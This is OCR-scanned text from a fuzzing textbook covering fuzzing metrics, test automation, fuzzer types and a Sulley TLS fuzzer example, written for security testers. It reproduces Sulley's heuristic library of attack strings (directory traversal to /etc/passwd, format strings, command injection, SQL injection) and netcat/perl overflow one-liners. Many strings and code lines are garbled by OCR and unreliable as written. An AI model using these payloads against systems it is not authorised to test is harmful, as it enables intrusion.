2ITT. Rontti. (2004). Robustness Testing Code Coverage Analysis. Oulu, Finland: University of Oulu,
Department of Electrical and Information Engineering. Master’s Thesis, 52p.
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low especially around the input parsing portions of the code. But even good code
coverage does not indicate that all accessible code blocks were tested with a large
number of mutations. This would require dynamic analysis of the system behavior.

It seems the most important discovery from Tero’s research is that code coverage
is an excellent metric for attack surface; that is, when you perform a combination
of positive feature testing and negative fuzz testing against the system, you will
discover the lines of code that are security critical and accessible through that spe-
cific interface. This does not guarantee that the entire attack surface was touched
by the tests, but it will indicate that at least that piece of code can be accessed by
an attacker. While traditional QA did not touch large parts of code, adding fuzz-
ing to the mix of testing techniques increased the amount of total code touched
during the process; furthermore, it hit the exact portions of code that will have to
withstand remote attacks. This metric for measured attack surface could be useful
to white-box testers who have the challenge of auditing millions of lines of code.
Prioritizing the code auditing practices around the attack surface could help find
those flaws that fuzzing might miss. Any metric of what code can be exploited
through different interfaces can prioritize the focus of those analysis tools, and
therefore improve the code auditing process significantly. This is an indication of
the real and measured attack surface.

Alvarez and Guruswamy?? note that discovering the attack surface prior to fuzz-
ing could be helpful. In fact, that leads to another important observation—when
doing interface testing we will never reach 100% code coverage. Even if we would,
we would not really prove the discovery of all vulnerabilities in the touched code.
It would be more accurate to say that 100% code coverage of the attack surface
does not equal zero vulnerabilities. The distinction is important because the attack
surface is typically only a fraction of the total code. Determining the total func-
tions or basic blocks that lie on an attack surface can be a challenge. Consider this
example: If we find that 5 out of 100 total functions read in command line argu-
ments and 15 out of 100 functions handle network traffic, we simply take the ratio:

» Local attack surface = 5/100 or 5% of total code
» Remote attack surface = 15/100 or 15% of total code

A remote fuzzing tool that hits 15 functions would be said to have hit 100%
of the remote attack surface. But did it hit all combinations of paths with all com-
binations of data?

And did it really test all the subfunctions and libraries where that tainted data
was handled?

4.3.7 Process Metrics

Process efficiency needs to be monitored when deploying fuzzing into your devel-
opment processes or to a regularly conducted vulnerability process. The following
metrics might apply to your fuzzing deployment:

22Personal communications and email discussion on the Dailydave list: http:/fist.immunitysec.com/
pipermail/dailydave/2007-March/004220.html.
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4.4

 Assessment frequency: Measures how often security quality assurance gates
are applied to the software development lifecycle.

* Assessment coverage: Measures which products are tested with fuzzers; that
is, for regression testing you can check that all releases will go through a sys-
tematic fuzzing process before release.

Test Automation for Security

How does fuzzing as part of test automation help reduce the total time used in test-
ing? Does it impact the timelines of developers? How does automation help with
repeatability? In test automation we need to be able to show that the same set of
tests, potentially augmented with some new tests, will be executed each time the
fuzzing process is launched through the test automation framework. Automation
has to be repeatable or it is worthless. Test automation does not necessarily reduce
human error if there is manual work involved in the repetition of the tests. One small
problem in the automation process could lead to missing bugs that would have been
covered earlier. This could result from, for example, a change in the communication
interface or the data formats being fuzzed. There are pros and cons to both pre-
defined tests and dynamically changing tests from the test automation perspective.
From a QA standpoint the goals of automation are:

1. Increase the amount of tests you do in a set timeframe when compared to
manual testing;

2. Liberate your testers to do more of the interesting testing and avoid manual
repetition of simple tasks;

3. Cost savings related to both the test efficiency and the direct costs of tools
and test integration.

Increasing the number of tests you perform in an automated fashion will speed
up your testing process, just as doing the same tests with more manual interven-
tion would slow the process down. In fuzzing, it is not really a choice of doing it
manually or automatically, it is whether you do it at all. Fuzzing will liberate your
testers to do more interesting testing activities, which likely includes such things
as detailed analysis of the test results. Fuzzing requires repeatability and speeds up
the development process. Without people creating the tests, the tests have a chance
of having better coverage, since they do not depend on human knowledge. A good
security tester is always good at what he or she does. But unfortunately, most com-
panies do not have enough talented security testers and never will have. Therefore,
the testing skills need to be built into the test automation tool and must not depend
on the competence of the tester.

Common arguments against test automation are based on experiences with bad
test automation products. This is because the definition of test automation by many
testing vendors is completely wrong. Some test automation frameworks require
more work to initially build the tests than is saved with repeated test execution. In
fact, most test automation methods and techniques follow all the worst practices
of test automation.
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4.5

For example, some people think that security testing is the same as monkey
testing—randomly trying all types of inputs. To those people, test automation is
about trying more and more random inputs in a feeble attempt to increase test cov-
erage. This approach is doomed to fail, because adding more tests does not guar-
antee better tests. Compared to just adding more random testing, manual testing
by a talented security expert is definitely better, because it is based on a process
that adapts to change.

To some, test automation means repeating the same test case over and over
again. This applies to many test automation frameworks that focus on conformance
or performance issues. In fuzzing, each test case should be unique. The purpose is
not to repeat, but to create many unique test cases that would be impossible to cre-
ate using manual testing. The same also applies to statements related to automat-
ing testing actions that are repeated over and over again in the test process. This
is irrelevant to fuzzing, because the entire process needs to be repeated, instead of
just one single test case. Running millions of tests with any other means but test
automation would take a significant amount of time to execute and analyze.

In relation to fuzzing (and fuzzing only!), test automation also reduces human
error in test design, implementation, execution, and analysis. There can be human
errors in fuzzer development itself, because a test automation tool is still a software
product and can have flaws. The majority of existing test automation frameworks
for performance testing and conformance testing depend on complex user configura-
tion, and one mistake in the configuration can invalidate the entire test run. Many
testing frameworks also leave the actual test design for the tester. A fuzzer frame-
work is often a test design framework if the user needs to parameterize the protocol
elements that are fuzzed. The resulting test suite should still be repeatable without
user involvement. Some fuzzers on the other hand have predefined intelligence and
have reduced the possibility of the tester to make mistakes in the test setup.

Summary

While building fuzzers isn’t always pleasurable, the act of fuzzing is fun! However,
not everyone is excited by the hunt for zero-day flaws and exploiting those found
vulnerabilities. One of the most difficult issues with fuzzing is trying to convince
others that it is an important part of a vulnerability assessment process and that it
should be integrated into existing quality assurance processes. You might under-
stand the importance of fuzzing, but cannot convince others to see its benefits. To
others, fuzzing is seen as an unnecessary cost and potential delay in the product
launch. Too many times we have heard people question fuzzing with questions like

« Why should I use fuzzing? This is not our responsibility!
« Why do you look for security problems in our products?

Other questions that you might encounter are related to the problems that fuzzers
find. Fuzzers are not silver bullets in the sense that they find all security problems.
Explaining that fuzzers are just one more tool in the tool chest of security experts
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and quality assurance professionals is important. This lack of understanding for
the methodology and findings can reveal itself in questions like these:

Can I find distributed denial of service problems with fuzzing?

Can I find the famous bug that the Code Red worm exploited?

* Surely, that would never happen in real-life usage scenarios, would it?
Is that really exploitable? Isn’t it denial of service only?

« But I am already doing testing. Why should I use fuzzing?

* Aren’t these problems covered with our code auditing tools?

Finally, choosing the right tool for the right task is sometimes difficult. How
do you compare the various tools, and how do you know which tool is the most
useful tool for each task during the product life cycle? You should be prepared to
provide insight to your colleagues on product comparisons and the costs related to
various fuzzing approaches. Relying on the marketing and sales skills of various
fuzzing vendors or on the hype created by various hacker community tools can get
you distracted from the real purpose of why you became interested in fuzzing in
the first place. Be prepared for questions like

« What is the best fuzzing tool that I can use?
» What is the cheapest fuzzing tool that I can use?

You should be prepared to give answers to questions like these to your supervi-
sors, to your customers, or to the manufacturers that do not still get it. Fuzzing is
a fascinating technology, and all fuzzing approaches will definitely be better than
none at all. Still, fuzzing is not about technology, but rather, the final results from
the tests.

In this chapter we explained some reasoning behind integration of fuzzing into
your existing quality assurance and vulnerability analysis processes. As with secu-
rity in general, fuzzing starts with a threat analysis of the target system. Fuzzing
is always a form of black-box testing in the sense that the tests are provided to the
system under test through different interfaces. These interfaces can be remote or
they can be local interfaces that only local users can abuse. Fuzzing at its best is
a proactive technique for catching vulnerabilities before any adversaries will find
them and exploit them. The earlier they are found, the cheaper it is to fix them.
Costs related to vulnerabilities caught late in the product life cycle might initiate
crisis communication with chaotic results, and a lot of unexpected costs related
to the actual discovery, remediation, and finally patch deployment. Whether a
manufacturer chooses reactively to buy vulnerability data from bug bounty hunt-
ers or subcontract security auditing of released product to security professionals
is a business decision. Our goal is to convince them that proactive tools should
be used instead of this last-minute approach. With adequate expertise it could be
beneficial to build your own fuzzer, or to integrate an existing fuzzer product into
your product development. We explored some case studies on how the costs for
each of these options could be estimated before jumping into conclusions on the
available choices.
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Fuzzing is about test automation at its fullest extent. People used to traditional
test automation might think about complex test design frameworks that are time
consuming to use and that produce difficult-to-measure results. Fuzzers, on the
other hand, can be fully automated, in the sense that you just press play, watch the
fuzzer run, and wait for the results. Test automation comes in many flavors and
requires understanding of how it works before dedicating too many resources into
building a new one on your own.

One problem with security is that engineers often don’t even know or under-
stand security vulnerabilities. How can a virus misuse a buffer overflow problem in
a product? How critical is a denial of service problem? What is a buffer overflow/
format string vulnerability/null pointer deference anyway? Fuzzers can be integrated
into the development process with or without this knowledge. Think about explain-
ing to a developer why he should never use the strcpy function in his program.
Then think again about showing him a crash by sending a long string of characters
with that vulnerability in the software. Fuzzing has no false positives, meaning
that every single flaw found with fuzzing is exploitable to some level. It might not
allow remote code execution, but this is still a real bug. A crash is a crash. A bug
is a bug. Developers will immediately rush into fixing crash-level flaws or memory
leaks in their software when told to do so. They do not necessarily need to know
about the difference between stack and heap overflows or the exploitability of the
flaws. Still, all found issues need to be prioritized at some level. Some of you might
already be familiar through experience with what happens if you suddenly report
hundreds of remotely exploitable flaws found using fuzzing tools to a manufacturer
that has never had a security problem in its lifetime.

Now that we understand why we need to fuzz, and how we can communicate
the importance of fuzzing, we can study the actual techniques of fuzzing with
completely new eyes. Compare the techniques presented later with the metrics we
explored here and hopefully you will find the technique that best suits you.
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In this chapter we will present basic fuzzer construction details. Endless methods to
create and deliver semi-valid data could be contrived; we will hit the most prevalent
techniques. Available open source tools will be described. A comparison of com-
mercial and open source tools will be held in Chapter 8. We begin by defining the
two primary types of fuzzers. These have been called full-blown and capture-replay
when dealing with network fuzzers, but generation and mutation are more generi-
cally accepted terms that also apply to file fuzzing. File fuzzing has continued to be
important as network protectors! and network application designers have become
more security conscious.? Client-side attacks, while sometimes requiring an ele-
ment of social engineering,® have become like the previously more fertile grounds
of network daemon auditing from years gone by.

Fuzzing Methods

Fuzzer test cases are generated by the input source and attack heuristics and ran-
domness. Test cases could be developed manually, although this is not the preferred
method since many test cases will be needed. Generally, test cases come from
either a library of known heuristics or by mutating a sample input. Input source
refers to the type of fuzzer being used. There are two main types: generation and
mutation.*> The terms intelligent and nonintelligent are also used. A generation-
based fuzzer generates semi-valid sessions. (Semi-invalid has the same meaning in
this context.) A mutation fuzzer takes a known good network session, file, and so
forth, and mutates the sample (before replay) to create many semi-valid sessions.
Mutation fuzzers are typically generic fuzzers or general purpose fuzzers, while
generation fuzzers tend to be specific to a particular protocol, application, or file
format. Understanding the nature of the attack heuristics, how this mutation or
generation is accomplished, is important.

Firewalls and the like.

2Microsoft’s big security push: http://msdn.microsoft.com/msdnmag/issues/05/11/SDL/default.aspx.
3In this case, tricking a user into browsing to a malicious website or opening a malicious file is the
social engineering.

4A third method would be some type of genetic/evolving technology. One such algorithm is described
in Chapter 7.

3Oehlert, P. “Violating Assumptions with Fuzzing,” IEEE Security & Privacy, (March/April 2005):
58-62.
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5.1.1 Paradigm Split: Random or Deterministic Fuzzing

It is appropriate at this point to discuss in some detail the ways these two different
types of fuzzers work and the advantages and disadvantages of both. For example,
mutations of a base file are often random—a mutation fuzzer. Simple mutation fuzz-
ers don’t understand anything about the underlying format, including where to add
anomalies, any checksums, and so on. Conversely, a description of a file format in
Peach would replace variables (defined later) with fuzz strings taken from a file. Each
element would be fuzzed one at a time—a generation/intelligent fuzzer. Of course,
it takes much more work for the tester to describe all these variables to the tool.

Thus, randomness (dumbness) can be an interesting issue for fuzz testing. Some
believe that delivering random data to the lowest layers of each stage of a protocol
or APl is the goal. Others prefer protocol construction and predefined test cases to
replace each variable (intelligent fuzzing). Charlie Miller gave a talk at DEF CON
2007 describing his experiences with the two approaches. He measured intelligent
fuzzing to be around 50% more effective but requiring 10 to 100 times the effort
by the tester.®

Having made some superficial statements about these two types of fuzzing
(detailed in a later case study), the randomness being discussed sometimes varies.
We’re not usually talking about a tool that sends completely random data. Such a
tool is unlikely to find anything interesting in a modern application (the protocol
will be perceived as too wrong and be quickly rejected). Although even this approach
sometimes works, as Barton Miller (no relation to Charlie Miller) found” when
testing command line applications. Such a simple test could be conducted via the
following Unix command string:

while [1]; do cat /dev/urandom | netcat -vv IPaddr port; done

In this context, by random we might mean: Random paths through application
code are executed due to the delivery of semi-stochastic recombinations of the given
protocol, with some of the protocol fields modified in a semi-stochastic way. For
example, this might be done by making small random changes to a network session
to be replayed or by recombining parts of valid files. Another example is a network
fuzzer that plays the last protocol elements first and the first last; a semi-random
fuzzer that shuffles command strings (defined later) and variables.

Again, the two different schools of thought differ significantly in how test cases
are constructed and delivered. Consider a simple FTP server. One fuzzer might
randomly pick valid or invalid commands, randomly add them to a test case, and
choose random data for the arguments of those commands. Another fuzzer might
have precooked invalid data in a library, along with a series of command sequences.
Invalid data is supplied with each command in some repeatable manner. Defining
a protocol and fuzz spots could be accomplished with a tool like Peach or Sulley.
Both approaches are valid ways to test. The goal of this chapter is to help one create

¢See Section 5.1.5, Intelligence Versus Dumb Fuzzers.
7Barton P. Miller, Lars Fredriksen, Bryan So, “An Empirical Study of the Reliability of Unix Utili-
ties,” Communications of the ACM, 33(12)(December 1990):32-44.
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both types of fuzzers and understand the features of both, as well as when it is most
appropriate to use one or the other (or both).

There are pros and cons to each approach. The randomized approach may hit
dark corners that the deterministic approach might miss because it is impossible to
think of every scenario or combination of commands and data. Plus, it is trivial to
set up and execute. The field of fuzzing was based on this premise, and that’s why
traditional testing was insufficient. Particularly in the case of flipping bits in a file,
this is an easy way to fuzz that is surprisingly effective. However, regression testing
can be difficult for random fuzzers, if not properly seeded. Note that to fully fuzz
a variety of fields could theoretically take forever. For example, imagine that one
of the fields is an integer. In this case to try every value, one would have to supply
2732 different values. In practice, file-parsing routines have become complicated
enough (complication tends to equal a higher rate of errors) that randomly flipping
bytes throughout the file has been effective. Particularly effective have been bound-
ary values like 0x0000000 and Oxffffffff, which will be discussed later.

The intelligent approach can be tuned to achieve more reliable code coverage.
Application robustness is of the utmost importance, as is security. In general, the
more deterministic fuzzing approach will perform better.®

A hybrid of these approaches could be created. Many mature fuzzers do include
elements of both. For example, instead of completely random data, fuzzing heuristics
would likely be applied to generate data that has been known to cause problems
in the past. Long strings, format strings, directory traversal strings (../../../../), for
example, are all robustness test heuristics and will be covered more fully later in
this chapter.

Some tools attempt to incorporate both approaches. For example, consider
Surku.” Surku is basically a mutation-based fuzzer. Surku aims to analyze the input
data structure while generating test cases. For example, one mutator in Surku looks
for delimiters often used in human-readable formats to define boundaries of dif-
ferent blocks that are then repeated, moved, or deleted depending on the mutation
applied. The biggest difference between Surku and a generation-based fuzzer is that
Surku can still only add anomalies to the input given. So, if a particular feature is
not exercised by those inputs, Surku will never test that code. On the other hand, a
generation-based fuzzer, like Sulley,!® can completely understand the protocol and
not just the parts for which the packet capture happened to consist. Then again,
Sulley with a poorly written protocol description will not perform very intelligently.
So, in using Surku, the weak link could be the packet capture. But with Sulley, the
weak link could be the fuzzer programmer. Either way, experience on the part of
the people involved helps.

5.1.2 Source of Fuzz Data

There are four main ways this semi-valid data can be created: test cases, cyclic,
random, or library.

8Again, see Section 5.1.5.
Surku is available at www.github.com/attekett/surku.
0Sulley is available at www.fuzzing.org. https://github.com/OpenRCE/sulley.
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* Test cases refers to a fuzzer that has X number of tests against a particular
standard. This type of fuzzer will only run against the protocol it was created
to fuzz. This type of fuzzer will send the same tests each time it is run and
typically keeps a good record of each test. This type of test tool most closely
resembles traditional automated test tools or stress testing tools. The number
of tests is relatively small compared to more random methods, but each test
has a specific purpose. Typically, these are generation fuzzers. These are often
hand-tuned by a protocol expert. Many commercial fuzzers operate this way.
In the commercial fuzzer case, you are paying for the research an expert put
into the test case creation.

+ Another way to send semi-valid input is to cycle through a protocol by inserting
some type of data. For example, if we want to search for buffer overflows in
the user name field of a protocol, we could cycle data sizes from 1 to 10,000
by 10 bytes:

[Client]-> “user ja<l A>red\r\n”
[Client]-> “user ja<ll A’s>red\r\n”
[Client]-> “user ja<2l A’s>red\r\n~”i!

This method yields a deterministic number of runs and thus a deterministic
run-time. One might argue that only fixed buffers around known boundaries
should be tested, but off-by-one errors!? are a known issue. Also, an anti-
hammering'® defense may limit the number of connections from a certain
IP, etc. This can often be disabled such that it will not interfere with testing.

+ One could also choose to keep randomly inserting data for a specified period
of time:

[Client]-> “user ja<10000 A’s>red\r\n”
[Client]-> “user ja<l2 A’s>red\r\n”
[Client]-> “user ja<1342 A’s>red\r\n”

Random fuzzers can be repeatable if seeded by the user. This is critical
for regression testing and reproducing results.

* Library refers to a list of known useful attacks. Each variable to be tested
should be fuzzed with each type of attack. The order, priority, and pairing
of this search could be deterministic, random, or weighted. Mature fuzzers
will typically combine many of the above techniques.

The ‘A’s shown here are just an example. Randomizing the hex number might be a better approach,
although the classic 41414141 in EIP is still preferred by some analysts as a quick way of noticing a
problem if being debugged live.

12See Chapter 2, off-by-one. As a quick example, if a static buffer is of size 100 bytes sending exactly
101 bytes would be needed to trigger the bug in some vulnerable coding scenarios.
13Connection-limiting techniques are common in some networked applications.
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5.1.3 Fuzzing Vectors

Once a fuzzer knows where in a file or network stream it wishes to add bad data,
regardless of if it is because it created the data from scratch or dissected a valid
input, it needs to know what types of data to add. As we’ve discussed, there are infi-
nitely many possibilities. The goal of selecting good fuzzing vectors (i.e., heuristics)
is in making the number of anomalies added to create fuzzed test cases as small as
possible while not greatly reducing the effectiveness of the test cases. For example,
if an integer is supplied to a program that controls the size of a copy, generally
there is some cut-off point where a large enough number will cause a fault when a
smaller number will not. In slightly more complex examples, there may be a lower
and upper bound on the integer that will detect the vulnerability. In either case, by
choosing a few integers intelligently, it is possible to usually find such vulnerabilities
without sending all 2232 possibilities each time an integer is used. Of course, there
will always be some bugs missed when such simplifications are made, but until we
have faster computers and more time, it is a necessary trade-off.!*

As an example, let us examine the primitives.py Python file that comes with
the Sulley framework (more on this later) that defines a heuristic library and how
the framework fuzzes. Specifically, looking at the library of fuzzed strings it has
reveals some of the following examples:

# strings mostly mpped from spike

“/.oo/7 + “A”*5000 + “\x00\x007,

“/oo0/7 4+ “A”*5000 + “\x00\x007,

AN AN A A A A A A AR R A
“Sodoo oo oo oo oo ete/passwd”,
“Sodoo oo o o o /boot . ini”
NANNFT

NN,

“/\\” * 5000,

“/.7 * 5000,

“N@YSEL S THS@FSESS@FS LA **+( ()7,
“%01%02%03%04%0a%0d%0aADSF”,
“%01%02%03@%04%0a%0d%0aADSF”,
“/%00/7,

“%00/”

“%007,

“%u0000”,

# format strings.

“*n” * 100,
“In” * 500,
“N7%n\"7 * 500,
“%s” * 100,
“%s” * 500,

“\7%s\7” * 500,

14See the discussion on parallel fuzzing in Chapter 7.
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# command injection.
“|touch /tmp/SULLEY”,
“;touch /tmp/SULLEY;”,
“|Inotepad”,
“;notepad;”,
“\nnotepad\n”,

## SQL injection.
“1;SELECT%20*”,
“’sqlattemptl”,
“(sqlattempt2)”,
“OR%201=1",

# some binary strings.

“\xde\xad\xbe\xef”,

“\xde\xad\xbe\xef” * 10,
“\xde\xad\xbe\xef” * 100,
“\xde\xad\xbe\xef” * 1000,
“\xde\xad\xbe\xef” * 10000,

“\x00” * 1000,

# miscellaneous.

“\Nr\n” * 100,

“<>” * 500, # sendmail crackaddr

(http://1sd-pl.net/other/sendmail.txt)

These strings all exist due to a particular vulnerability type or specific bug uncov-
ered in the past. These strings are substituted each time a string is fuzzed in Sulley,
along with a number of long strings of the following lengths: 128, 255, 256, 257,
511, 512, 513, 1023, 1024, 2048, 2049, 4095, 4096, 4097, 5000, 10000, 20000,
32762, 32763, 32764, 32765, 32766, 32767, 32768, 32769, 0xFFFF-2, OxFFFF-1,
OxFFFF, 0xFFFF+1, 0xFFFF+2, 99999, 100000, 500000, 1000000.

5.1.4 Intelligent Fuzzing

Fuzzers can become as fancy as the imagination will allow. This is sometimes called
the intelligence (domain knowledge) of a fuzzer or intelligent fuzzing. Consider a
fuzzer that randomizes the test type, position, and protocol leg in which to place
the attack:

[Client]-> “us<b0000 \xff’s>er jaed\r\n”

[Client]-> “user ja<l2 %n’s>red\r\n”
“user Ok. Provide pass.\r\n” <-[Server]
[CTient]-> “\x34\x56\x12\x...\r\n”

[Client]-> “user jared\r\n”
“user Ok. Provide pass.\r\n” <-[Server]
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[Client]-> “\x04\x98\xbb\x...\r\n”

We note that valid data, such as “user jared,” is transformed into semi-valid data,
such as “usAAAAAAAAAAAAAAAAAAAAAAAAerjared.” The insertion could
be done by working from a capture file or from internal generation of the protocol
(or possibly a combination of the two). Intelligent versus unintelligent is always a
tradeoff. Creating intelligence takes more work and typically begins to assume things
about the protocol. For example, suppose our intelligent fuzzer assumes that the
user command must always be correct and be the first command; therefore, there
is no need to test it. Well, 98% of the time that’s a true assumption. But what about
the odd case in which a particular implementation reads in an arbitrary amount
of data until the first space character? Or what if a command prior to user hangs
the internal state machine? A balanced approach seems best: intelligence enough to
decrease the run-time, but not so much that it weakens the fuzzer (i.e., makes the
same poor assumptions the programmer and original tester did).

Another useful extension of intelligent fuzzing is for protocols that require cal-
culations to be made on data that is sent or received. For example, an internet key
exchange!® (IKE) fuzzer would require the ability to deal with the cryptography of
IKE if the fuzzer ever hopes to advance'® into the IKE protocol.'” Because of the
complex nature of IKE, capture-replay (session mutation) is made very difficult
and a purely generation-based fuzzer would not exercise much of the protocol. IKE
would be a good candidate for a generation fuzzer with intelligence.

Still another intelligent feature that could be built into fuzzers is known as pat-
tern matching. In the above heuristic examples, a pattern-matching fuzzer could
automatically find the strings in a capture file and build attacks based on that. It
could also automatically find and fix length fields if the fuzzer inserts data.'®

Boundary conditions should be noted as important and included in any good
pattern-matching library. If a given function F is implemented in a program and the
function has two parameters x and y, these two have known or unknown boundaries
a<x<bandc<y<d. What boundary testing does is test the function F with val-
ues of x and y close to or equal to a, b, c and d. Thus, if our intelligent fuzzer finds
a variable with the value 3, it might first exercise the program under test with the
values 2 and 4. Trying other key numeric values such as zero, negative, large positive,
etc. might be the next phase. Finally, wilder data such as wrong numeric systems,
non-numeric, special characters, for example, would complete a sampling of each
data quadrant without trying every possible value. Does this approach theoretically
guarantee the discovery of the magic value (if one exists) that exercises a bug? No,
but this is an example of how attack heuristics balance run-time and effectiveness.
Chapter 7 will discuss advanced fuzzing techniques that can solve constraints to
discovery new input/path combinations.

STKE is an IPsec key exchange protocol.

16There may be other ways to fuzz before encryption. For example, see the section on memory fuzzing.
7Unless and API or an in-memory fuzzer is used.

8Dave Aitel, “The Advantages of Block-Based Protocol Analysis for Security Testing,” February
4,2002. New York. www.immunitysec.com/downloads/advantages_of_block_based_analysis.txt.
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5.1.5 Intelligent versus Dumb (Nonintelligent) Fuzzers

These words get thrown around a lot in the fuzzing world. By this people indi-
cate the level of interface knowledge a fuzzer possesses. Consider a file fuzzer
that just randomly flips bits in a file. Another might fully understand what each
field in the file represents and change things according to the RFC. Fully dumb
fuzzing results in lower code coverage, and fully smart (i.e., no invalid data or
options) will be completely RFC compliant and uncover no bugs. In general,
fuzzers shoot for the area that resides somewhere in-between. Intelligence costs
more to create. But an element of randomness could lead to corners determin-
ism might miss.

Another factor to consider here is the target under test. Typically, totally random
data sent to a network server will not find bugs, but flipping a few bytes in files
has been proved very effective. Start easy and work up to more intelligent fuzzing.
For optimal results, try all approaches if time permits. We’ll see in Chapter 8 that
this is a good strategy.

Finally, while in fuzzing intelligence is a word used to describe the level of pro-
tocol knowledge the fuzzer possesses, this does not necessarily mean it is smart.
For example, a fuzzer with perfect protocol knowledge might blindly send test
cases—not very smart. Another fuzzer, perhaps even a dumb, mutation-based
fuzzer, might actively see the code paths executed in the target and make adjust-
ments accordingly, which is very smart. EFS and AFL do exactly this, and we’ll
learn more about it in Chapter 7.

5.1.6 White-Box, Black-Box, and Gray-Box Fuzzing

As we read in Chapter 3, white-box testing infers source code knowledge, such as
source code auditing. Black-box testing refers to tests run against a complied version
of the code. There are countless ways such methods could be combined to achieve
slightly better results. For example, we might analyze the source to create better
black-box tests. Or, if we instrument the source code while our black-box tests are
running, we could easily calculate code coverage. This could be called white-box
fuzzing, or gray-box testing. Either term is fine by us.

White-box fuzzing has been applied to Web application testing. By looking at
the code, perhaps a CGI script,'” we might find hidden parameters and thus obtain
knowledge about the application to build a better fuzzer at runtime.

Suppose that the Web form contains “param1” as the only parameter. But also
suppose that in the source code of the CGI script, our tool could see that there are
other parameters accepted. Those should also be fuzzed, and might find bugs a
purely black-box tool would have missed.

“The Common Gateway Interface (CGI) is a protocol for connecting external application software
with a Web server. Each time a browser request is received, the server analyzes the command request
and returns the appropriate output in the form of headers.
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5.2

The same method of thinking applies to file formats. An optional feature/ele-
ment might not be implemented in all particular applications and might also not
show in a sample file that could be used as a template for fuzzing. But by studying
the application code or specification, you may be able to detect optional or propri-
etary features, which should be tested as well. This is discussed more in Chapter 7.

Detailed View of Fuzzer Types

In this section some of the many fuzzer possibilities will be examined in greater
detail. For certain categories an open-source example may be shown. There are
countless methods for fuzzing. The tools examined are not necessarily the best, but
do display the properties of the type under discussion.

5.2.1 Single-Use Fuzzers

Fuzzers written for a particular task are sometimes called one-offs: a fuzzer built
quickly for a particular task. Suppose you encounter a simple network protocol
something like this:

Client sends — “user jared\r\n”
“OK send password.\r\n” « Server sends

Client sends — “password mylamepass\ri\n”
“Logged in. Begin cmds.\r\n” <« Server sends

Suppose all you want to do is fuzz the username with 1,000 bytes. In this example,
it seems silly to download a fuzzing framework, work in XML files, etc. Instead,
you might quickly execute something like:

perl -e “print ‘user ‘“.’a’x1000.’\r\n’” | nc localhost 4000

This short script will send “user <1000 a’s>” to the service listening on the local
IP address on port 4000.

Or, suppose you find yourself auditing a large function that accepts a large
number of arguments. You don’t happen to have a fully working API fuzzer so you
contrive a simple setup:

- Start this process with a debugger such as GDB.

* Break at a particular execution address.

« Randomly mutate the arguments before the function is called.
* Record if a segmentation fault occurred after the call is made.
* Repeat.

This isn’t the best way to test an API, but it works and is quick and easy to set up.
RPC might be a good candidate for this type of research. It seems that busy
penetration testers or security auditors tend to create a lot of simple fuzzers in this
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manner. The fruit of such labor is not to be underestimated. One reason for this is
that one size fits all generic fuzzers may not be tuned well for any one application,
particularly if the platform/process under test has special requirements or is tricky
to fuzz like a protocol utilizing a custom encryption library.

5.2.2 Fuzzing Frameworks

The fundamental idea of a fuzzing framework is code reuse. There are certain things
every sufficiently complex fuzzer should be capable of doing:

» Model protocol data in a variety of complex scenarios: blocks, loops, choices,
and so forth;

» Use a library of mutations and anomalies;

« Compute relationships like checksums, hashes, and so forth;

« Associate data as lengths of other data;

« Send test cases over a variety of interfaces;

» Monitor the process in a variety of ways;

* Log results with test cases. Bucket results to minimize crash analysis work.

Spike (Dave Aitel), Sulley (Pedram Amini), and Peach (Michael Eddington) are
examples. Next we will explain Sulley and Peach in greater detail.

5.2.21 Sulley

Sulley is a fuzzing framework that is a cross between Spike, Autodafé, and PaiMei.
The tester defines a protocol file that describes the protocol and the methods by
which they will be fuzzed in the “request” description file. This protocol descrip-
tion information could come from a network capture, by reading the protocol RFC,
or both. That information is used in a session file that initializes the logging and
begins the transfer of fuzzed sessions, which are described by request files. Sulley
is an open-source fuzzing framework, but it does not come loaded with any real
out-of-the-box protocol descriptions. Sulley includes target health monitoring and
reset capability, network logging, fault detection and categorization, postmortem
analysis, and more.

As an example of how to write a Sulley specification, we provide a description
of the TLS protocol. TLS is commonly known as SSL and is most often used to
secure web traffic for e-commerce applications. This first snippet is the session code
named fuzz_tls.py (Figure 5.1):

Figure 5.2 shows the implementation of the requests. As a quick overview, the
TLS handshake protocol is as follows:

client_hello —

« server_hello_certificate

« server_key_exchange
client_key_exchange_change_cipher_finish —
« server_change_cipher_finish
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from sulley import *
from requests import tls

sess = sessions.session(session_filename="audits/tls/tls.session", sleep time=.25, log_level=10)
target = sessions.target("192.168.0.103", 4£43)

target.netmon = pedrpc.client("152.168.0.101", 26001)

sess.add target (target)

sess.connect (s_get("client _hella™))
sess.connect (s_get("client_ key exchange change cipher finish"))

sess.fuzz ()

Figure 5.1 fuzz_tls.py.

from sulley import +

s _initialize("client hellao™)
s_randnm{"\xlﬁ", 1, 1, name="content_ type"}
s_random("%x03%x01"™, 2, 2}

8 _size("handshake", length=2, fuzzable=True, endian=">'"}
|11 8 _block start("handshaks"):
s_random("\xﬂl", 1, 1, name="handshake type™)

8 _size("handshake client hello", length=3, fuzzable=True, endian='>'")
if s _block start("handshake client hello"):
: s_random("\x03%x01", 2, 2)

s_random("'\x00%x00'\x56x03", 4, 4, name="time")

5 _static("A" * 28, name="random data")

s random ("\x00", 1, 1, name="session id len")

s _size("cipher suites", length=2, fuzzable=True, endian='>'"}

if =2 block start("cipher suites"):
s_static("\=00.\=x33")
s_static("\=00\x38")
s_static("\=00.=x35")
s_static("\=00.x33")
s_static("\=00.\=x32")
s_static("\=00%\=x33")
s_static("\=00.x04")
s_static("\=00.\=x05")
s_static("\=00\=x2f")
s_static("\=00\x1g")

Figure 5.2 The Sulley request for a TLS client hello message.
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5_static("\x00\x13")
s_static("\xfe\xff")

s_static("\ Wx0a™)
s_string("\=x00%x00"})
3 _string("alot")

3 block end("cipher suites")

s size("compression", length=l, fuzzable=True)
] if 2 block start("compression"):
s_string("\x00")
= block end(}

5 _size("extensions", length=2, endian='>', fuzzable=True)
] if = _block start("extensions"):
] if = block start("extension block"):
s_random("\x00%x0a", 2, 2, name="extension_ type")
s _size("extension _data", length=2, endian=">'})
] if =2 _block start("extension_data"):
3_string("\x00\x06\x00\x17\x00\x18\x004\=x139"™)
3 block end("esxtension data")
3 block end("extension block™)
8 _repeat("extension block"™, min reps=0, max reps=600, step=3C
s block end("extensions")

s _block end("handshake client hello™)

s block end("handshake")

Figure 5.2 Continued

If it is desirable to fuzz the server, really only two messages (requests) are impor-
tant: the client_hello and the client_key_exchange. There could be others based on
specific implementations. Additionally, it might be wise to fuzz SSL clients (Web
browsers in many cases). The session file (called fuzz_tls.py) calls the two requests of
interest. Both of these requests (and the session file) had to be created from scratch.
Thus, you see the weakness of intelligent fuzzing: it requires understanding TLS,
being proficient with Sulley, and implementing specific requests. By contrast, setting
